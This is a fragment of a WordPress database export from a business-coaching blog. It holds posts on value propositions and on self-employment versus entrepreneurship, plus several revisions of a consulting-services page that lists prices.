(2511, 2, '2013-10-07 17:41:37', '2013-10-08 00:41:37', '<img class="alignnone size-full wp-image-2513" title="castles" src="http://whc.fbdev.org/wp-content/uploads/2013/10/castles1.jpg" alt="Castles in the Mind" width="495" height="284" />\r\n<h1>Your value proposition is not about what you do or the products you sell. Your value proposition must articulate a highly valued outcome the customer desires. Think of your value proposition as a “castle in the mind” of your customers and clients.</h1>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small.\r\n\r\nCustomers have abundant choice. It’s customers who decide who leads and who follows. When customers have abundant choice, the competition is always fierce. Those entrepreneurs who dominate their market always represent a compelling “idea of value” in the minds of customers that is simply not available from the alternatives in the category.\r\n\r\nHere are some fundamental questions that will require you answer with clarity of vision and confidence in your actions if you are to create “competitive advantage” to your business from the value you bring to the marketplace:\r\n\r\n<strong>•  How do you differentiate your business in ways that matter to your customers?</strong>\r\n\r\n<strong>•  How do you command premium prices and greater profit margins when everyone else is fighting to break even?</strong>\r\n\r\n<strong>•  How do you, a creative entrepreneur or solo professional, gain radical advantage over your would-be competitors in an ultra-competitive marketplace?</strong>\r\n\r\nCustomers care about their desires and outcomes far more than the functions of your products and the details of your services. It is of critical importance for you to understand this distinction. Your value proposition is more about beautiful castles (outcomes) rather than bricks and mortar (your products and services).\r\n\r\nRemember buying is an emotional decision too, not simply made out of neccessity or convenience. The more emotionally engaging your value proposition is, the more competitive advantage you’ll gain in your business development activities.\r\n<h2>To build castles in the mind, you must focus on uncovering ideas and insights on what clients and customers care about most.</h2>\r\nProduct features, claims of expertise and quality delivery are table stakes. Not enough to distinguish the real “value” of your business. When there is abundant supply, customers need something more than superficial claims to make purchase decisions, and more importantly, become loyal advocates of your business.\r\n\r\nA value proposition is a simple statement answering the question of why should a customer do busness with you. There are the six pillars that you must consider when creating your value proposition to customers and clients:\r\n\r\n<strong><em>1) The target audience</em></strong>\r\nYou must identify the attributes that define the ideal customer segment your business serves. What attributes comprise your ideal client or customer? What are the specific factors that determine who your ideal clients? It could be any number of attributes like: industry, location, size, attitudes, motivations and demographic descriptions. You must define those people who closely represent your most fervent customers and clients.\r\n\r\nDefining these attributes will allow a prospective client on the receiving end of your marketing and sales conversations to determine “check, they work with companies like ours or people like me”.  More importantly you have a specific and well defined target to aim your marketing at.\r\n\r\n<strong><em>2) The customer need / business problem.</em></strong>\r\nYou need to consider the specific ways your products or services fulfill customer needs. Customer needs are often unspoken. For example, customers weren’t expressing a need for Apple’s iPhone. However once realized, customer’s couldn’t live without it. What needs do you fulfill that are unrealized by your customers, and once revealed to them, will have them standing in line outside your door? If your busness is professional services, what highly valued business problems do you solve for your ideal clients?\r\n\r\nKnowing how you help your ideal prospects understand the context that enhances your relevance to their needs is a critical element in creating your value proposition that enhances your competitive advantage.\r\n\r\n<strong><em>3) The value of your solution.</em></strong>\r\nWhat are the functional and emotional benefits customers receive from your products? What is the business value of your solution to your clients? You must always provide more “use value’ in the mind of your customer than they pay you in cash value. This will make your price irrelevant and enable your business to command premium prices.\r\n\r\nThis will help your customers and clients realize WHY they should fulfill their need or solution by purchasing your products and services .\r\n\r\n<strong><em>4) Your products and services.</em></strong>\r\nNotice that your products or services are not the first order of importance here. Your offerings do not lead your value proposition. We are taking a customer-centric approach and framing your offerings within the context of the needs you help your customers fulfill, or the solutions you provide that improve the client’s condition. It’s about providing outcomes (experiences) customers love!\r\n\r\n<strong><em>5) The reasons to believe.</em></strong>\r\nHow do you substantiate your claims? How do you deliver what you promise? How have you demonstrated your products and services work for customers and clients?\r\n\r\nYou must prove your value by providing compelling reasons to believe. You can use stories, case studies, testimonials and any number of methods to provide proof your offerings deliver on the value promised.\r\n\r\n<strong><em>6) The point of difference.</em></strong>\r\nWhy are your products preferable to other alternatives available? You must have a compelling, emotional benefit that is highly valued in the minds of customers and clients and difficult for your competitors to match. It’s not enough to be different for difference sake. Your difference must also be highly valued!\r\n\r\nThese six pillars form the DNA of a value proposition statement that will drive your product development, capabilities, marketing communication, sales conversations and your behavior in the marketplace.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center!</em>', 'The Six Pillars of your Value Proposition.', 0, '', 'publish', 'open', 'open', '', 'the-six-pillars-of-your-value-proposition', '', '', '2013-10-07 17:41:37', '2013-10-08 00:41:37', '', 0, 'http://www.whitehotcenter.com/?p=2511', 0, 'post', '', 1),
(2498, 2, '2013-08-14 13:31:45', '2013-08-14 20:31:45', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and improve your current business condition."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs and Solo Professionals</h6>\r\n<h2>In one-on-one consulting and group workshop settings, exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nEvery entrepreneur, at every stage of business growth, will face challenges that block their progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are heads down working hard in their business. Their days are usually consumed simply managing their current circumstances, few are innovating a strong foundation for their bigger better future.\r\n\r\nMy expertise will guide you and your team to focus on new ideas, strategies and tactics to master both your inner game (innovative and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free and get moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Strategic Business Development Workshop</strong>\r\nThis issue-based, highly facilitated workshop is designed to provide insight, creative thinking, focus and consensus on specific business development or transformation issues you are currently facing. There are five key areas of focus in the workshop to help you build your strategic roadmap and make the right decisions for achievement of your business goals:\r\n\r\n•  To whom you market, identifying the high value clients who are the best fit for your business.\r\n\r\n•  Why customers need / buy your products and services.\r\n\r\n•  What makes your offerings highly valued by customers and difficult for them to substitute.\r\n\r\n•  How to effectively express and message your brand possitioning, value proposition and brand story in the marketplace.\r\n\r\n•  Creating more value at every touch point in the value chain with your customers and clients.\r\n\r\nOur workshop program includes pre-assessment of the strategic issues you’re facing, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary follow-up documenting the insights, hypothesis, and decisions discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\nI have nearly three decades of  experience working with hundreds of  clients in global companies and startups alike.  As an entrepreneur, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success. I know the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them more joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to decribe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. Individual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking to double and triple that amount. The small buisness organizations I serve have annual sales or service billing revenue in the $5 - $30 million range.\r\n<h3><em></em><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></h3>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-14 13:31:45', '2013-08-14 20:31:45', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-204/', 0, 'revision', '', 0);
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(2499, 2, '2013-08-24 10:52:18', '2013-08-24 17:52:18', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and improve your current business condition."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs and Solo Professionals</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nEvery entrepreneur, at every stage of business growth, will face challenges that block their progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are heads down working hard in their business. Their days are usually consumed simply managing their current circumstances, few are innovating a strong foundation for their bigger better future.\r\n\r\nMy expertise will guide you and your team to focus on new ideas, strategies and tactics to master both your inner game (innovative and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free and get moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Strategic Business Development Workshop</strong>\r\nThis issue-based, highly facilitated workshop is designed for small business leaders and their teams who seek more insight, creative thinking, focus and consensus on specific business development or busisness transformation challenges. There are five key areas of focus in the workshop to help you build your strategic roadmap and make the right decisions for achievement of your business goals:\r\n\r\n•  To whom you market, identifying the high value clients who are the best fit for your business.\r\n\r\n•  Why customers need / buy your products and services.\r\n\r\n•  What makes your offerings highly valued by customers and difficult for them to substitute.\r\n\r\n•  How to effectively express and message your brand possitioning, value proposition and brand story in the marketplace.\r\n\r\n•  Creating more value at every touch point in the value chain with your customers and clients.\r\n\r\nOur workshop program includes pre-assessment of the business development challenges you’re facing, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary follow-up documenting the insights, hypothesis, and strategic decisions discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\nI have nearly three decades of  experience working with hundreds of  clients in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success. I know the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a successful business.  Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to decribe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resosurces for their future success into all areas of their business. Individual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking to double and triple that amount. The small buisness organizations I serve have annual sales or service billing revenue in the $5 - $30 million range.\r\n<h3><em></em><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></h3>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-24 10:52:18', '2013-08-24 17:52:18', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-205/', 0, 'revision', '', 0),
(2500, 2, '2013-08-24 14:24:15', '2013-08-24 21:24:15', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and improve your current business condition."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs and Solo Professionals</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nEvery entrepreneur, at every stage of business growth, will face challenges that block their progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are heads down working hard in their business. Their days are usually consumed simply managing their current circumstances, few are innovating a strong foundation for their bigger better future.\r\n\r\nMy expertise will guide you and your team to focus on new ideas, strategies and tactics to master both your inner game (innovative and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free and get moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Strategic Business Development Workshop</strong>\r\nThis issue-based, highly facilitated workshop is designed for small business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific business development or business transformation challenges. There are four key areas of focus within the workshop day to help you build your strategic roadmap and make the right decisions for achievement of your business goals:\r\n\r\n•  To whom you market, identifying higher value clients who are the best fit for your business.\r\n\r\n•  What makes your offerings highly valued by customers and difficult for them to substitute.\r\n\r\n•  How to effectively express and message your brand possitioning, value proposition and brand story in the marketplace.\r\n\r\n•  Creating more value at every touch point in the value chain with your customers and clients.\r\n\r\nOur workshop program includes pre-assessment of the specific business development challenges you’re facing, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary follow-up documenting the insights, hypothesis, and strategic decisions discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\nI have nearly three decades of  experience working with hundreds of  clients in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success. I know the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a successful business.  Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to decribe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resosurces for their future success into all areas of their business. Individual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking to double and triple that amount. The small buisness organizations I serve have annual sales or service billing revenue in the $5 - $30 million range.\r\n<h3><em></em><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></h3>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-24 14:24:15', '2013-08-24 21:24:15', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-206/', 0, 'revision', '', 0),
(2501, 2, '2013-08-26 11:02:34', '2013-08-26 18:02:34', '<img class="alignnone size-full wp-image-2502" title="birdcage" src="http://whc.fbdev.org/wp-content/uploads/2013/08/birdcage.jpg" alt="" width="487" height="286" />\r\n<h1>When you realize the subtle but important distinction between being an entrepreneur and simply being self-employed, you free yourself from the cage of a limiting business model.</h1>\r\nBeing self-employed is nothing more than giving you a job. You still have to show up and deliver the goods just like in any other job. However, being an entrepreneur is not about self-employment–it’s about self-empowerment.\r\n\r\nMaybe that’s why I am so fascinated with the idea of success and accomplishment. Maybe that’s why the ideal of “economic freedom” at the intersection of career and calling has created my own terminal case of “do what you love and the money will follow”.\r\n\r\nI always resonated with the idea of doing what you love, but truth is, I didn’t really believe the money would follow. That mindset kept me locked in the cage of self-employment.\r\n\r\nMy dad was self-employed. I learned how to be self-employed from him. He loved to make things and hated to sell things. He was always struggling to keep customers and find new ones. Consequently he struggled to keep his job with no bandwidth for creative thinking and innovation for his future beyond the job at hand. One day, he got tired and quit forever.\r\n\r\nCreative entrepreneurs, on the other hand, are always creating amazing value for their customers that exceeds far beyond their own labor!\r\n\r\n<strong>Clearly my journey of self-employment tells the tale and makes the point.</strong>\r\n\r\nI never had a real job in my chosen career. After college, I went right into self-employment. I chose a profession that was based on providing a service and billing by the hour. Like a plumber or a lawyer–in my case it was graphic design and corporate communications.\r\n\r\nIt was an easy to understand business model for someone who simply wanted to be self-employed–I got paid by the job. Consequently, my focus was always on getting lots of jobs. Over time I learned how to sell jobs and build a successful job-shop. I thought I was successful because I could support my family and myself very nicely. I didn’t realize what a trap this would eventually become.\r\n\r\nAlong the way the marketplace changed. Technology leveled the playing field and lowered the barrier to entry into my profession. The market was flooded with graphic designers. Our job shop services became abundantly available at cheaper fees than what I needed to charge to keep the machine I created running. Projects were getting increasingly tougher and tougher to come by. What business we did win, was not very profitable, my focus was keeping all of us comfy cozy in our nice paychecks.\r\n<h2>At the limits of my knowledge, I didn’t have the deeper understanding “self-employment -paid-by-the-hour” was a flawed business model and would never lead to a level of “economic and creative freedom” that I dreamed about. I didn’t know what I didn’t know.</h2>\r\nFast-forward a couple of decades and I found myself completely burned out– sick and tired of constantly hunting and chasing for lower paying clients. Trapped in the cycle of feast or famine trying to keep me and a dozen or more employees in paychecks every week. Alas, my spirit and passion for self-employment was finally broken–of no use to myself, my clients, employees, and worse to my family!\r\n\r\nAs you can imagine, in a highly competitive create-on-demand profession, this would become a defining moment for me–a tipping point where everything I had built my entire life upon was now on the line.\r\n\r\n<strong>People change for two reasons–they want to, or they have to. In my case it was both! </strong>\r\n\r\nIn 2008 (in the face of the worst economy of a lifetime), I made the decision to radically change my life and professional direction. I was going to become an enlightened entrepreneur creating value from my ideas rather than my labor!\r\n\r\nLeveraging three decades of experience and expertise in branding, marketing, communications, and business development I reinvented myself as a writer, thought leader, facilitator and creative management consultant helping small business leaders, entrepreneurs and solo professionals with ideas and strategies to take their accomplishments to the next level.\r\n\r\nOver the past five years, lots of learning, experimenting and prototyping has taken place. When I think of this time period, I sometimes feel it has taken far too long to get where I think I should be. I want the learning process to be faster. New ideas, no matter how hard you want them to, come into form in their own sweet time. It takes what it takes and can’t be rushed nor forced.\r\n<h2>I believe the ability to persevere against mounting physical evidence it’s not happening is what distinguishes those who achieve from those who don’t.</h2>\r\nOn the other hand, I’m blown away and energized by the creative process of designing and building a new foundation! I’m fascinated with the transformation I have experienced. I get emails from readers from all over the world. Many will ask me “how can you be so creative and prolific?” and “when do you have the time?”\r\n\r\nI tell the truth. I no longer trade my time for money so I have lots of time to create valuable ideas that help business leaders grow and expand. Notwithstanding the financial challenges and costs that come with any shift in strategic direction, thus far, the creative process of building something extraordinary has been the most amazing and fulfilling of my life.\r\n\r\nAs contemporary poet and philosopher David Whyte elegantly describes “living on the frontier of our lives” is the only place where we can truly experience our greater potential, be the most useful, and feel most alive. When it comes to turning a formless idea into something valuable in the world, I know what I’m talking about!\r\n\r\nI’ll be honest; I feel fear all the time. Sometimes it paralyzes me, frustrates me, and distorts me. But I keep on planting seeds the best I can, with whatever resources are available at the moment.\r\n\r\nReinvention, innovation, creativity and transformation are self-empowering forces to expand your value to people and grow your influence in the marketplace. These forces are always present and available–there for your taking.\r\n\r\nYou may wonder if my new business is big financial success? Not yet. Do I feel confident, accomplished and successful? Absolutely!\r\n\r\n<strong>The Moral of the Story.</strong>\r\n\r\nThe marketplace rewards value creators with wealth and freedom–breaking the shackles of trade-your-time-for-money-self-employment. Your true value to the marketplace has nothing whatsoever to do with your labor. If you want more, you must first be more.\r\n\r\nElevate your value to the marketplace first by thinking bigger about your own value. Challenges, whatever they are, no matter how difficult they may seem, are nothing more than opportunities to practice filling the space your bigger future demands. You will worry and be afraid, despite that, keep believing in your bigger vision for your future. Plant your seeds.\r\n\r\nThe harvest is for the sower!\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscibe to the White Hot Center.</em>', 'The difference between being self-employed and being a creative entrepreneur.', 0, '', 'publish', 'open', 'open', '', 'the-difference-between-being-self-employed-and-being-a-creative-entrepreneur', '', '', '2013-08-26 11:03:17', '2013-08-26 18:03:17', '', 0, 'http://www.whitehotcenter.com/?p=2501', 0, 'post', '', 10),
(2502, 2, '2013-08-26 10:42:57', '2013-08-26 17:42:57', '', 'birdcage', 0, '', 'inherit', 'open', 'open', '', 'birdcage', '', '', '2013-08-26 10:42:57', '2013-08-26 17:42:57', '', 2501, 'http://www.whitehotcenter.com/wp-content/uploads/2013/08/birdcage.jpg', 0, 'attachment', 'image/jpeg', 0),
